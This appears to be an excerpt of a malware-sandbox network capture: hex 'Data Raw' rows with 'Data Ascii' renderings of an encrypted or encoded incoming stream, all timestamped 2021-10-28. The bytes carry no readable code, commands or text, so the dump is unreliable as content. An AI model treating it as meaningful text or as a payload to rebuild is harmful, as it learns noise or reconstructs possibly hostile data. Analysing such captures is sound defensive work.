                                                                                                                                                          2021-10-28 02:47:22 UTC63INData Raw: c2 a5 c2 9f c2 88 c2 98 c3 b5 c2 b1 c2 b2 c2 b9 c3 ab c2 88 c2 8a c3 83 c3 a6 c3 b2 c3 a0 c3 b8 c3 a2 c3 b7 c3 b1 c3 a8 c2 94 c2 a9 c2 b0 c3 94 c3 91 c3 b1 c2 9e c3 b4 c3 b1 c3 97 c3 ac c3 a8 c3 b2 c3 ab c3 98 c3 a0 c3 85 c2 89 c2 a5 c2 9d c3 8a c3 a7 c3 bc c3 82 c3 a4 c3 81 c3 8b c3 93 c3 82 c2 a6 c2 ae c2 a6 c2 b0 c2 95 c2 91 c2 90 c3 86 c3 b3 c3 a5 c3 95 c3 9c c2 a8 c3 af c3 a6 c3 b6 c3 ba c3 a7 49 5a 18 47 7c 10 3a 10 2f 01 26 11 32 20 16 0b 41 1c 6b 6c 42 00 2a 45 31 15 26 11 24 23 15 32 0f 3c 2b 5f 5d 04 7c 23 12 07 24 06 17 2b 2a 0f 1f 03 42 6b 40 21 02 33 11 35 1c 2b 03 00 0c 7b 14 4c 18 18 3b 7a 18 4c 60 36 0c 07 11 71 74 56 66 13 22 0e 34 52 62 77 77 3f 70 0c 7e 5a 67 7d 44 54 12 12 13 54 5f 71 73 17 2c 27 31 2d 6a 2b 50 4c 02 10 06 72 46 45 43
                                                                                                                                                          Data Ascii: IZG|:/&2 AklB*E1&$#2<+_]|#$+*Bk@!35+{L;zL`6qtVf"4Rbww?p~Zg}DTT_qs,'1-j+PLrFEC
                                                                                                                                                          2021-10-28 02:47:22 UTC64INData Raw: 83 c3 b9 c2 84 c2 b8 c2 8d c3 96 c2 bf c2 8e c2 bf c2 ac c2 94 c2 8c c3 95 c2 a5 c2 a6 c3 a4 c3 a6 c3 a4 c2 b2 c2 95 c3 83 c2 b8 c2 bc c2 a0 c2 bb c2 ae c2 a3 c2 9a c2 a2 c2 80 c2 92 c3 90 c3 be c3 91 c3 8a c2 b5 c2 88 c2 88 c2 8f c3 bd c2 80 c2 a5 c2 81 c3 b3 c2 b7 c2 98 c2 86 c2 bd c3 9d c3 80 c2 b2 c2 8c c2 9f c2 90 c2 a4 c2 9c c2 b9 c2 81 c2 93 c3 bc c3 9d c3 ad c3 a4 c2 bc c2 81 c2 b9 c2 b7 c3 ba c3 ba c3 bb c2 a9 c2 8a c2 85 c2 85 c3 a2 c3 94 c3 bf c3 b5 c3 a6 c2 a0 c2 8e c2 a9 c3 ab c2 86 c3 9d c3 9c c3 93 c3 b4 c3 bf c3 ad c3 97 c2 ab c3 8a c3 95 c3 b0 c3 ba c2 b0 c2 9f c3 a5 c2 a9 c3 ac c3 80 c3 a7 c3 84 c3 8f c3 9d c3 93 c3 89 c3 b6 c3 96 c3 ae c3 b1 c2 be c2 8d c3 97 c3 84 c2 aa c3 90 c3 b7 c3 90 c3 b5 c3 88 15 5d 42 0d 22 75 1f 06 1a 04 3b 29
                                                                                                                                                          Data Ascii: ]B"u;)
                                                                                                                                                          2021-10-28 02:47:22 UTC68INData Raw: c2 a7 c2 9f c2 9d c2 9a c2 b1 c2 95 c2 bb c3 9a c2 9e c3 9c c3 94 c2 bb c3 8c c3 94 c3 b1 c2 b7 c2 9f c3 b6 c2 82 c2 be c2 81 c2 a3 c2 9f c3 b5 c2 be c3 ac c3 a4 c3 ac c3 bc c2 b5 c2 a9 c3 9b c3 a9 c3 ae c2 97 c2 92 c3 ae c2 af c2 ac c2 86 c2 81 c2 a7 c2 8f c2 ab c3 8b c2 95 c3 85 c3 bd c3 98 c3 aa c3 86 c3 98 c3 a7 c2 9a c3 b9 c3 a4 c3 ad c3 8a c3 a1 c3 ab c3 8c c2 a0 c2 ab c3 be c3 b3 c3 b9 c3 af c3 88 c3 b7 c3 ab c2 9d c3 b0 c3 a0 c3 ba c3 be c3 b9 c2 a7 c2 a6 c2 96 c3 b1 c3 91 c3 a5 c3 86 c3 a9 c3 8f c3 ac c3 ad c3 84 c3 97 c3 ae c3 9a c2 b5 c2 a8 c3 ad c3 ad c3 a5 c3 a4 c3 92 c3 a8 c3 a8 c3 97 c2 aa c3 87 c3 80 c3 87 c3 b4 c3 9e c2 ba 57 1c 1e 73 29 49 46 65 4e 53 31 0d 4f 16 0f 28 68 57 75 34 24 11 4a 23 1f 37 00 27 26 43 3a 2a 44 7a 5b 34 63 04 04
                                                                                                                                                          Data Ascii: Ws)IFeNS1O(hWu4$J#7'&C:*Dz[4c
                                                                                                                                                          2021-10-28 02:47:22 UTC72INData Raw: 8a c2 85 c3 bb c2 ab c2 83 c3 bc c2 ad c2 b0 c2 87 c2 b4 c3 ac c3 9f c3 96 c2 a4 c3 ab c2 89 c2 92 c2 98 c2 9a c2 a3 c2 96 c2 ae c2 a2 c2 b0 c2 97 c3 a2 c2 b3 c3 8b c3 86 c2 92 c2 9a c2 8c c3 99 c3 8e c3 89 c3 8e c2 99 c2 85 c2 9a c2 87 c2 81 c3 94 c2 ae c2 8a c2 aa c3 ac c2 94 c3 82 c2 94 c3 b8 c3 b8 c3 a2 c3 af c3 93 c2 94 c3 b6 c3 bf c3 84 c2 ae c2 9e c2 84 c3 96 c3 ae c3 9b c2 bc c3 b9 c2 bb c3 a8 c2 a6 c3 89 c3 9c c3 af c3 85 c3 8e c2 8b c3 a0 c2 9b c3 ba c3 94 c3 bf c3 94 c3 a8 c3 92 c2 a1 c3 83 c3 90 c3 81 c3 9a c3 97 c3 a7 c2 9e c2 ba c3 bb c2 8d c3 88 10 5e 0e 2b 24 3b 38 0c 34 2b 55 7b 4e 0f 0c 3f 19 55 0e 00 35 2e 01 54 3a 10 2f 6b 6f 6f 19 2f 2a 0e 17 09 05 35 3e 6c 3f 06 37 4c 69 75 2d 1f 3a 10 1d 19 06 1e 0f 28 33 1d 18 61 67 4a 4f 0e 61 6f
                                                                                                                                                          Data Ascii: ^+$;84+U{N?U5.T:/koo/*5>l?7Liu-:(3agJOao
                                                                                                                                                          2021-10-28 02:47:22 UTC76INData Raw: c2 be c2 9f c2 8c c2 86 c2 ab c2 99 c2 84 c2 b1 c3 9c c3 87 c2 af c2 aa c3 a0 c2 81 c2 b8 c2 91 c2 a4 c2 87 c3 8c c3 88 c3 85 c3 ac c3 99 c3 8c c2 90 c2 b9 c3 a4 c3 a6 c3 9e c3 8b c3 aa c3 a5 c3 ac c3 bc c3 be c3 a7 c3 90 c3 b9 c3 b7 c2 9d c2 8c c2 ae c3 b7 c2 9e c3 8a c2 84 c3 82 c3 ad c3 8b c3 87 c3 9e c3 84 c2 b8 c3 a3 c3 88 c2 a7 c2 84 c2 99 c3 94 c3 91 c3 b3 c3 8d c3 9b c3 89 c3 b7 c3 90 c3 a5 c3 8f c3 a5 c3 9c c3 a9 c3 bc c2 96 c2 8d c3 97 c3 9a c3 be c3 89 c3 a2 c3 9d c3 b1 05 27 37 3a 3a 20 61 67 79 19 14 2e 3f 13 2e 5e 0d 35 31 4b 5d 4e 17 4c 69 68 23 39 34 11 36 3d 02 05 09 08 0b 02 5e 66 5d 29 10 7c 00 21 02 2b 38 26 04 35 18 29 5d 62 49 3e 0e 1a 1e 19 78 16 7b 47 08 47 72 67 4f 34 2b 4a 66 7e 48 41 76 6d 63 7a 10 5a 78 19 10 5c 44 75 79 5f 75
                                                                                                                                                          Data Ascii: '7:: agy.?.^51K]NLih#946=^f])|!+8&5)]bI>x{GGrgO4+Jf~HAvmczZx\Duy_u
                                                                                                                                                          2021-10-28 02:47:22 UTC80INData Raw: 91 c2 8a c2 9c c2 b7 c2 8f c2 89 c2 b5 c2 b7 c3 ae c3 a1 c3 af c3 bd c3 8f c3 a4 c3 9e c2 8c c2 9c c3 98 c2 9a c3 ba c3 af c2 80 c2 a1 c2 ac c3 bc c2 99 c3 9e c3 b0 c3 b0 c3 a4 c3 ad c3 b9 c3 a7 c3 a6 c2 83 c3 b6 c3 92 c2 9e c2 b9 c2 a9 c3 87 c3 81 c2 a9 c2 a2 c3 81 c3 84 c3 a3 c3 96 c3 92 c3 9c c3 90 c3 bf c3 88 c2 88 c3 b2 c2 8d c3 a6 c3 8e c3 be c3 9e c2 8b c3 b7 c2 b5 c2 a7 c3 ac c3 a4 c3 88 c3 b7 35 65 59 7c 14 29 0d 25 22 4f 06 28 00 14 37 20 4b 18 6a 69 3b 50 02 17 36 35 10 25 04 3b 18 3b 7f 77 51 41 23 11 07 35 2d 05 20 1d 34 37 25 00 2d 30 6e 34 21 03 23 1e 26 19 09 08 78 0b 38 1d 1f 32 49 42 40 1f 1d 7a 5f 78 5a 7f 62 73 5b 46 6f 51 17 26 53 65 4c 76 73 69 7b 60 4b 1e 66 70 50 27 11 11 63 5d 5f 49 6f 48 48 58 50 57 31 6d 4c 70 70 07 73 45 7c 56
                                                                                                                                                          Data Ascii: 5eY|)%"O(7 Kji;P65%;;wQA#5- 47%-0n4!#&x82IB@z_xZbs[FoQ&SeLvsi{`KfpP'c]_IoHHXPW1mLppsE|V
                                                                                                                                                          2021-10-28 02:47:22 UTC84INData Raw: c3 a6 c3 94 c2 af c2 8a c2 b7 c2 be c3 b9 c3 95 c3 b4 c2 b0 c2 95 c2 98 c3 a0 c3 ab c3 89 c3 90 c3 bd c3 bf c2 ae c2 a2 c3 81 c3 8b c3 a3 c3 b7 c3 9f c3 a5 c3 8d c3 af c3 9e c3 ae c2 bb c3 a8 c3 9e c3 bd c2 b0 c2 88 c2 97 c2 87 c2 a2 c3 99 c3 93 c3 96 c2 aa c3 a0 c3 ac c3 8c c3 81 c3 be c3 93 c3 b9 c2 9f c2 a7 c2 8c c2 93 12 23 38 0f 2c 24 0d 20 3e 0f 28 08 54 5b 74 20 55 1c 4d 0d 3e 00 26 2b 22 26 3d 44 68 46 69 72 17 7b 7b 2c 62 7e 02 1a 35 0b 0a 1e 50 65 72 2d 03 03 1f 3f 18 2f 0e 3e 08 04 3b 1c 40 6b 48 33 72 45 79 4f 6c 67 75 79 72 4e 14 75 3b 3d 34 63 77 01 12 4c 7c 6f 65 6b 62 5a 58 19 28 06 23 4d 73 46 26 68 54 6e 63 4a 4a 44 45 76 0b 6c 14 7a 4c 23 57 0e 4d 2e 52 7d 65 57 5a 4e 07 0d 04 50 c3 84 c2 b5 c2 a0 c2 9d c2 a4 c2 b6 c3 82 c2 ad c2 b3 c2
                                                                                                                                                          Data Ascii: #8,$ >(T[t UM>&+"&=DhFir{{,b~5Per-?/>;@kH3rEyOlguyrNu;=4cwL|oekbZX(#MsF&hTncJJDEvlzL#WM.R}eWZNP
                                                                                                                                                          2021-10-28 02:47:22 UTC87INData Raw: 37 0a 3c 13 08 1b 02 1f 2c 3b 47 4e 14 25 3b 12 31 12 19 0f 31 25 28 6f 52 4b 38 19 50 7a 50 69 2f 66 4f 4c 55 68 49 72 52 33 09 2e 74 0c 53 55 70 54 5e 01 74 4c 76 73 57 02 15 1a 15 54 60 53 66 52 4a 53 6b 45 77 7d 5c 06 2b 0f 61 40 46 7c 70 64 59 4f 53 48 53 c2 af c2 93 c3 b0 c3 a3 c3 a6 c2 90 c2 ba c3 94 c2 87 c2 93 c2 b6 c2 a9 c2 b9 c2 a3 c2 b8 c2 89 c2 bc c2 bd c3 86 c3 89 c3 ae c2 b9 c2 b6 c3 87 c2 84 c3 bb c2 8b c2 a0 c2 84 c2 93 c2 9a c2 a5 c2 87 c2 86 c3 9a c3 bd c3 b3 c2 9a c2 96 c2 ad c2 8d c2 b0 c2 a7 c2 8c c3 b1 c2 84 c2 b9 c2 96 c2 a4 c2 87 c3 92 c3 82 c3 96 c2 a0 c2 8a c2 a0 c2 85 c2 9d c2 96 c2 b1 c2 8a c3 b9 c2 a5 c2 92 c3 9f c3 bb c2 a6 c2 9b c3 98 c3 b4 c3 98 c3 8d c3 af c3 90 c3 a0 c3 ba c3 89 c3 b1 c3 b4 c3 96 c3 b4 c3 b6 c2 aa c2 a9
                                                                                                                                                          Data Ascii: 7<,;GN%;11%(oRK8PzPi/fOLUhIrR3.tSUpT^tLvsWT`SfRJSkEw}\+a@F|pdYOSHS
                                                                                                                                                          2021-10-28 02:47:22 UTC91INData Raw: 60 79 42 7c 74 73 49 6b 69 39 15 32 42 71 75 57 29 66 65 0a 18 01 59 7e 69 0b 2d 2d 5e 7b 56 6f 68 5d 44 54 46 4f 6c 41 4a 24 1e 15 79 51 72 51 5d 48 3a 42 7f 5c 72 5f 49 0d 0d 0e c2 92 c2 bd c2 92 c2 a0 c2 98 c2 bd c3 8e c3 87 c2 a2 c2 bf c2 ad c2 aa c2 b9 c3 bd c3 af c3 b5 c2 ba c2 82 c2 b0 c2 b9 c2 98 c2 bd c2 b7 c2 af c2 9e c3 9a c2 b4 c2 b4 c2 bb c3 a5 c3 99 c3 a2 c2 b1 c2 95 c2 84 c2 89 c2 a8 c2 89 c2 a8 c2 9f c2 94 c2 9b c2 ad c2 84 c2 b1 c3 85 c3 84 c2 a8 c2 b7 c2 85 c2 90 c2 99 c2 aa c2 95 c3 a7 c2 8b c3 bc c2 8b c2 94 c2 9c c2 89 c3 83 c3 a5 c3 8e c3 ad c2 9b c2 8e c2 87 c2 bf c3 8a c3 ac c3 b7 c3 a6 c3 bb c3 a7 c3 a4 c3 91 c3 8c c2 96 c3 88 c3 b1 c3 a0 c3 9a c3 bb c3 bd c3 a8 c2 80 c3 ac c3 9e c2 9a c3 9e c3 b4 c3 bb c2 a5 c2 98 c2 be c3 a5 c3
                                                                                                                                                          Data Ascii: `yB|tsIki92BquW)feY~i--^{Voh]DTFOlAJ$yQrQ]H:B\r_I
                                                                                                                                                          2021-10-28 02:47:22 UTC95INData Raw: 3d 5d 36 56 4d 52 73 4a 49 1a 09 18 7e 54 6a 40 68 5c 75 50 5d 46 5b 51 7b 22 1a 22 70 48 5c 5c 58 c2 bb c3 91 c2 86 c2 a0 c2 80 c2 b3 c2 a1 c2 a0 c3 b0 c3 97 c3 9d c2 b4 c2 bc c2 87 c2 ab c2 96 c2 9d c2 b6 c3 8f c2 ba c2 bf c2 96 c2 92 c2 a1 c3 b8 c3 a9 c3 a0 c2 b4 c2 bf c3 8c c2 9a c2 81 c2 80 c3 b3 c2 9e c2 bf c2 87 c3 b2 c2 96 c2 b2 c2 a8 c3 a8 c3 9f c2 ac c2 93 c2 8c c2 8c c2 8b c3 a8 c2 83 c2 ab c2 bd c2 82 c2 b3 c2 94 c3 a8 c3 a1 c3 89 c3 b0 c2 b3 c2 a2 c2 b4 c3 ba c2 85 c3 82 c3 8b c3 bc c3 b8 c3 b4 c3 b8 c3 b1 c3 a0 c2 b0 c2 8d c2 bb c3 9e c3 b0 c3 a6 c2 93 c3 83 c3 bb c3 b3 c3 a1 c3 bd c3 af c3 b3 c3 93 c3 b0 c2 a0 c2 bb c2 aa c3 97 c2 99 c3 97 c3 b9 c3 81 c3 af c3 aa c3 99 c3 87 c2 af c3 8c c3 89 c3 b4 c3 a1 c2 9f c3 ad c3 be c3 90 c3 9e c2 b1
                                                                                                                                                          Data Ascii: =]6VMRsJI~Tj@h\uP]F[Q{""pH\\X
                                                                                                                                                          2021-10-28 02:47:22 UTC99INData Raw: 12 41 23 5b 75 55 51 59 7d 73 10 2c 7c 42 55 52 75 52 5a 47 7b 3c 63 c2 b7 c3 83 c3 84 c2 86 c3 bf c2 91 c2 b0 c2 b5 c3 97 c2 85 c2 b2 c2 a9 c2 bf c2 a3 c2 b8 c2 99 c2 ba c3 9d c2 93 c3 88 c3 ab c2 94 c3 97 c2 b6 c3 84 c2 93 c2 a2 c2 ba c3 9e c2 98 c2 b8 c2 99 c2 8a c2 b7 c3 90 c3 80 c3 b0 c2 b1 c2 87 c2 94 c2 a8 c2 b5 c2 9a c2 8a c3 b5 c2 85 c2 8c c2 82 c3 a7 c2 92 c2 b3 c3 ac c3 89 c2 a5 c2 aa c2 96 c2 9a c2 9d c3 a0 c2 b7 c2 9f c2 81 c2 84 c2 9e c2 90 c3 b2 c2 b1 c2 b3 c2 8e c3 82 c2 83 c3 8d c3 af c3 81 c3 88 c3 81 c3 b2 c3 ba c3 95 c3 a2 c3 bf c3 8c c3 9b c3 94 c2 ae c3 b4 c2 90 c2 80 c3 aa c3 91 c3 bb c3 b1 c3 aa c3 a1 c3 a4 c3 83 c3 89 c3 81 c2 9a c2 a7 c2 93 c3 b0 c3 97 c3 b2 c2 b4 c3 b0 c3 82 c2 b1 c3 9d c3 ba c2 b6 c3 a7 c3 9b c3 94 c2 b4 c2 94
                                                                                                                                                          Data Ascii: A#[uUQY}s,|BURuRZG{<c
                                                                                                                                                          2021-10-28 02:47:22 UTC103INData Raw: c2 a3 c2 a1 c2 a0 c3 9b c2 92 c2 9e c3 93 c2 bb c2 a4 c2 ac c2 b9 c3 b9 c3 85 c3 b0 c2 a0 c2 a7 c2 a2 c2 8f c2 98 c2 bd c2 b4 c2 a4 c2 a4 c2 a3 c2 80 c3 8d c2 a2 c3 a2 c3 8b c3 ad c2 a7 c2 95 c2 82 c2 bf c2 a8 c2 99 c2 ac c2 99 c2 93 c2 8e c3 bc c2 84 c2 95 c2 a4 c3 a6 c3 b3 c2 ac c2 87 c2 a6 c2 9e c2 b8 c2 99 c2 bc c2 87 c2 af c2 86 c2 b2 c2 9c c2 89 c3 8d c3 8e c3 ae c3 9e c3 97 c3 b1 c3 a5 c3 b3 c3 a1 c3 9f c3 b8 c3 9d c3 b7 c3 9f c3 a0 c3 82 c2 b1 c2 86 c2 b1 c3 85 c3 ad c3 9d c3 9b c3 93 c3 be c3 9d c3 ac c3 9e c3 b2 c3 a4 c3 96 c3 a1 c2 aa c2 ba c2 b4 c3 b7 c3 82 c3 9b c3 81 c3 83 c3 9b c3 b2 c3 be c3 b2 c3 8f c3 ac c3 8f c2 af c2 96 c2 9d c2 9d c3 b7 c3 85 c3 93 c3 91 c3 90 c3 ab c3 83 c3 b3 c3 a2 c3 8b c3 8c c3 9c c3 9b c2 88 c2 9c 76 14 3e 0c 29
                                                                                                                                                          Data Ascii: v>)
                                                                                                                                                          2021-10-28 02:47:22 UTC107INData Raw: 91 c2 b4 c2 ba c2 88 c2 bd c2 8c c2 90 c2 b8 c2 94 c3 b9 c3 91 c2 86 c3 b2 c3 86 c3 87 c2 bc c2 99 c3 b1 c2 84 c2 99 c2 8d c2 86 c2 9a c2 b2 c2 95 c3 8c c3 b2 c3 95 c2 b8 c2 ae c2 a6 c2 8f c2 a3 c3 a0 c2 98 c2 89 c2 b5 c3 bf c2 aa c2 99 c2 b4 c3 ac c3 a0 c3 8f c2 ae c2 84 c2 96 c2 bd c2 b3 c3 82 c3 85 c3 b2 c3 af c2 83 c3 ba c3 89 c3 bb c3 89 c2 92 c2 b3 c3 98 c3 8e c3 86 c3 ac c3 ab c2 81 c3 bc c3 a9 c3 95 c2 92 c3 8d c3 9b c3 84 c2 a8 c2 aa c2 a8 c3 9c c3 ac c3 97 c3 b1 c3 aa c3 8f c3 80 c3 92 c3 94 c3 bb c2 b3 c3 a5 c3 a4 c3 b2 c2 bc c2 a1 c3 9a c3 89 c2 a1 c2 aa c3 98 c3 9c c3 90 c3 96 c3 8a c3 ac c3 9c c3 87 c3 90 c2 80 c2 9b c2 ba c3 b0 c3 8c c3 b3 c3 99 75 2d 08 3d 5d 1d 04 55 53 17 17 17 65 57 42 4b 72 02 48 2c 12 49 3f 3b 23 11 69 78 32 10 30 36
                                                                                                                                                          Data Ascii: u-=]USeWBKrH,I?;#ix206
                                                                                                                                                          2021-10-28 02:47:22 UTC111INData Raw: c2 a6 c3 89 c2 a9 c2 a6 c2 8b c2 b2 c3 91 c3 87 c2 a2 c2 b3 c2 8b c2 a7 c2 b7 c2 a2 c2 87 c2 a6 c2 93 c2 a3 c2 9f c2 8d c3 a3 c2 95 c3 8b c3 b2 c2 be c2 ba c2 86 c2 99 c2 98 c2 9e c3 aa c2 85 c2 86 c2 b6 c3 b4 c3 bd c3 a6 c3 a7 c2 a4 c3 8f c2 b4 c3 98 c3 9e c3 9d c3 a6 c3 ac c3 ac c3 85 c3 92 c3 a0 c3 bd c3 bc c3 8f c2 93 c2 95 c2 a7 c2 a7 c3 93 c3 87 c3 a2 c3 b3 c3 96 c3 b3 c3 91 c3 82 c3 b0 c3 ad c3 8e c3 8d c2 a3 c2 b5 c2 97 c2 97 c3 a3 c3 b7 c3 92 c3 83 c3 a6 c3 83 c3 a1 c3 b2 c3 80 c3 9d c3 9e c3 9d c2 b3 c2 a5 c2 87 c2 87 c3 8a c3 8f c3 a1 c3 9f c3 8d c3 97 c3 9d c3 99 c3 84 42 34 3c 26 63 6d 7c 28 56 12 28 21 4e 16 1b 33 2a 0d 32 51 13 44 62 10 28 1d 0b 2e 30 17 26 22 35 0c 0e 3e 3a 7f 5c 08 72 00 0c 0f 6a 08 11 29 73 1b 33 14 4c 73 57 3e 08 33 17
                                                                                                                                                          Data Ascii: B4<&cm|(V(!N3*2QDb(.0&"5>:\rj)s3LsW>3
                                                                                                                                                          2021-10-28 02:47:22 UTC115INData Raw: 90 c3 b5 c2 84 c3 ad c3 90 c3 b7 c2 ba c2 ae c2 b1 c3 bf c3 b0 c2 ab c2 96 c2 a2 c2 8d c2 85 c2 80 c2 a0 c2 94 c3 a2 c3 8a c3 aa c2 89 c3 bd c3 b8 c3 89 c3 9a c3 8d c3 98 c3 b1 c3 bb c3 b2 c3 b0 c2 95 c3 89 c3 b3 c2 b9 c2 bf c2 a9 c3 be c2 96 c3 83 c3 88 c3 8b c3 a6 c3 80 c3 90 c3 b9 c3 ac c3 99 c3 b6 c2 9d c3 9f c2 ab c2 b6 c3 bf c2 a6 c2 b3 c3 8b c3 92 c3 82 c3 be c3 97 c3 bc c3 94 c3 be c3 87 c3 a3 c2 92 c2 a7 c2 8e c3 a4 c3 8e c3 bc c3 bc c3 b2 c3 9d c3 bc c3 83 c3 bf c3 91 c3 85 c3 b1 c3 80 c2 89 64 6a 15 20 3d 27 22 45 13 32 02 53 1b 3a 29 77 51 64 20 2c 4f 39 1a 3b 1c 11 0d 2d 1a 31 38 48 7a 5c 0d 6f 05 07 02 61 01 16 2c 77 05 06 33 2e 69 65 27 0f 23 0c 34 1b 32 0d 65 26 38 3d 19 47 04 31 57 66 41 77 6f 6c 4f 72 4c 00 69 62 03 47 20 2b 63 43 50 78
                                                                                                                                                          Data Ascii: dj ='"E2S:)wQd ,O9;-18Hz\oa,w3.ie'#42e&8=G1WfAwolOrLibG +cCPx
                                                                                                                                                          2021-10-28 02:47:22 UTC119INData Raw: 98 c3 ad c3 9f c3 8d c3 8f c3 8a c2 b6 c3 bd c2 b7 c3 8e c3 89 c3 83 c3 99 c3 a6 c2 8c c3 bc c2 8b c3 b3 c3 9f c3 95 c2 a7 c3 a5 2c 0b 3c 3f 26 02 29 1a 08 7e 70 1e 3d 1a 37 07 31 23 08 38 50 20 36 51 60 4c 6a 0e 20 0a 33 66 0c 2b 1a 1d 30 20 07 01 7d 7c 58 3e 14 2a 03 56 18 13 01 1d 06 18 19 24 39 4e 40 38 06 2d 1f 26 60 13 76 1e 78 43 75 51 29 54 56 5e 60 5a 62 47 7c 5b 6c 6d 77 52 79 4a 59 0c 20 4e 60 4a 77 51 4c 6b 54 3a 55 4e 47 51 3e 13 29 5b 58 4f 44 63 5c 7f 4c 4a 6c 58 5a 6a 79 7e 10 6e 40 46 5f 57 c2 bb c3 9b c2 b9 c2 85 c3 8f c2 ac c2 a9 c3 8a c2 80 c3 93 c2 89 c2 8b c3 89 c2 87 c2 a9 c2 b5 c2 ac c2 98 c3 93 c3 8c c2 a2 c2 90 c2 b2 c3 95 c3 a8 c3 bd c3 a0 c2 b7 c2 b8 c2 ad c2 b3 c2 90 c2 88 c2 83 c2 91 c2 8d c2 92 c2 ad c2 b2 c3 a3 c3 96 c3 a8
                                                                                                                                                          Data Ascii: ,<?&)~p=71#8P 6Q`Lj 3f+0 }|X>*V$9N@8-&`vxCuQ)TV^`ZbG|[lmwRyJY N`JwQLkT:UNGQ>)[XODc\LJlXZjy~n@F_W
                                                                                                                                                          2021-10-28 02:47:22 UTC123INData Raw: c3 a4 c3 9a c3 83 c3 b5 c3 b3 c3 8b c3 81 c3 84 19 35 25 7c 7e 47 13 2b 1d 20 14 21 19 3c 32 38 09 3e 22 16 40 7e 11 33 3a 33 04 3b 4f 2a 32 07 22 0b 6e 57 7d 21 17 17 2c 12 36 6d 0d 15 0e 73 1a 07 2e 3a 47 44 31 03 19 1b 1e 6a 6a 06 26 29 6a 62 65 3b 1a 46 4a 71 43 6b 60 44 44 7e 64 7d 7e 76 45 08 3c 2f 7a 77 7e 5c 44 76 49 6d 75 18 6e 62 57 03 17 17 73 5b 7d 4b 11 45 4e 5a 43 4d 5d 5e 6e 21 04 76 76 57 72 5c 52 51 7b 46 76 27 c2 89 c2 80 c2 a5 c3 bb c3 9a c3 be c3 ab c2 b7 c2 82 c2 a8 c2 a1 c2 a1 c2 be c2 88 c2 ac c3 85 c2 89 c2 85 c2 ad c2 8d c2 9e c3 b0 c2 91 c2 a1 c2 a2 c2 b4 c2 96 c2 bf c2 87 c2 a6 c2 99 c2 8f c2 a3 c3 b7 c2 93 c3 b7 c3 b1 c2 a7 c2 a2 c2 93 c2 9e c2 83 c2 b4 c2 8b c2 b9 c3 ab c2 92 c2 95 c2 b3 c2 92 c2 8c c3 86 c3 87 c3 bc c3 82 c3
                                                                                                                                                          Data Ascii: 5%|~G+ !<28>"@~3:3;O*2"nW}!,6ms.:GD1jj&)jbe;FJqCk`DD~d}~vE</zw~\DvImunbWs[}KENZCM]^n!vvWr\RQ{Fv'
                                                                                                                                                          2021-10-28 02:47:22 UTC127INData Raw: 16 05 1b 10 4a 66 16 22 09 33 68 30 07 2e 22 30 02 2f 24 17 6f 5a 00 7c 22 38 3b 1e 14 23 15 00 32 19 0b 56 7a 6e 24 0e 3c 18 3b 1a 11 1a 22 2e 31 13 1b 4c 5c 14 54 7e 54 6a 42 6c 66 73 4f 6c 7d 63 41 18 24 26 43 7e 44 78 5b 7a 59 66 74 42 5f 0d 1b 27 38 3c 74 43 76 4e 4c 47 3c 4a 72 7e 6d 43 5a 34 34 0d 62 6f 52 56 51 2f 73 43 45 40 78 51 22 0a 1e c3 ba c2 8e c2 b2 c2 99 c2 a5 c2 91 c2 ae c2 8c c2 b3 c2 81 c3 81 c2 a5 c2 bb c2 aa c3 ab c3 8b c3 a2 c2 b3 c2 83 c3 9f c2 8d c2 80 c2 ba c2 93 c3 9d c2 81 c3 9a c2 a5 c2 89 c2 ad c3 97 c2 86 c3 92 c2 a6 c2 96 c2 81 c2 8e c2 a9 c2 8e c3 af c3 a8 c2 85 c2 90 c2 a3 c2 81 c2 8a c3 96 c2 ac c3 90 c2 b2 c2 82 c2 b9 c2 93 c2 ab c2 9e c2 bc c2 83 c2 bf c2 9c c2 a6 c3 ae c2 9b c3 86 c3 aa c2 94 c3 93 c3 be c3 8c c3 88
                                                                                                                                                          Data Ascii: Jf"3h0."0/$oZ|"8;#2Vzn$<;".1L\T~TjBlfsOl}cA$&C~Dx[zYftB_'8<tCvNLG<Jr~mCZ44boRVQ/sCE@xQ"
                                                                                                                                                          2021-10-28 02:47:22 UTC131INData Raw: 08 00 6a 4f 62 37 45 77 74 0d 14 68 32 08 08 0f 2d 18 0f 4d 61 42 2e 19 3b 26 4e 18 48 7d 79 41 41 68 55 0f 10 31 63 6d 1e 0b 4e 71 5d 18 0a 09 74 61 4a 58 30 0e 22 5f 04 1b 79 6d 65 5c 62 43 51 77 58 6f 01 08 43 21 4a 40 0b 7f 57 31 56 4f 49 27 4d 10 19 2d 52 6b 71 24 c2 88 c2 a1 c2 b1 c2 81 c2 aa c2 ae c2 b8 c2 88 c2 9b c2 97 c3 93 c3 ba c2 ae c2 ba c2 af c2 ad c2 b4 c2 ae c3 82 c2 97 c3 8d c2 9f c2 af c2 b8 c2 94 c2 98 c3 b0 c3 9e c2 9b c2 b9 c2 bc c2 b5 c2 ac c2 87 c2 b2 c2 b3 c2 98 c2 9f c2 bd c2 89 c2 9f c3 9d c3 b1 c3 94 c2 a9 c2 9d c2 a4 c2 8e c2 a9 c2 bd c2 b7 c2 b3 c2 9f c2 ad c2 b0 c2 9d c2 9e c3 bf c3 a0 c3 81 c2 93 c2 bf c2 b5 c2 9d c3 a4 c3 9f c3 a7 c3 b8 c3 82 c3 a3 c3 b1 c3 87 c3 b8 c2 81 c2 90 c2 be c3 b2 c2 8a c3 b4 c3 b4 c3 bb c2 88 c3
                                                                                                                                                          Data Ascii: jOb7Ewth2-MaB.;&NH}yAAhU1cmNq]taJX0"_yme\bCQwXoC!J@W1VOI'M-Rkq$
                                                                                                                                                          2021-10-28 02:47:22 UTC135INData Raw: 93 c3 9b c2 90 c3 97 c3 99 c3 87 c3 aa c3 8e c3 a7 c2 84 c3 aa c2 83 c3 b0 c3 97 c2 92 c2 93 c2 9e c3 9b c2 a3 c3 89 c3 92 c3 a5 c3 82 c3 89 c3 9f c3 83 c3 99 c3 8c c3 97 c3 96 c2 8e c2 a5 c2 83 c3 b4 c3 82 c2 ac c3 92 c3 b5 c3 92 c3 9c c3 89 c3 93 c3 ba 2d 2e 11 0a 67 51 17 4a 3b 4d 01 3b 2e 30 23 2d 3b 3a 1c 6f 5c 6b 2a 2f 01 3f 2d 3f 05 22 0b 21 35 0a 2c 5f 6c 5b 33 1b 3d 07 34 0b 23 06 02 19 36 1d 25 40 6e 4f 19 1a 3c 35 21 07 19 1a 00 1a 79 65 60 19 30 2e 53 7b 19 4d 62 72 59 10 0e 0c 56 75 11 25 27 20 51 63 7a 62 5c 6a 7b 66 75 55 63 33 63 17 07 06 6b 47 48 6d 75 43 37 6f 52 56 77 5e 6f 35 11 14 55 43 42 53 64 56 4f 4a 42 45 c2 82 c2 a1 c2 b3 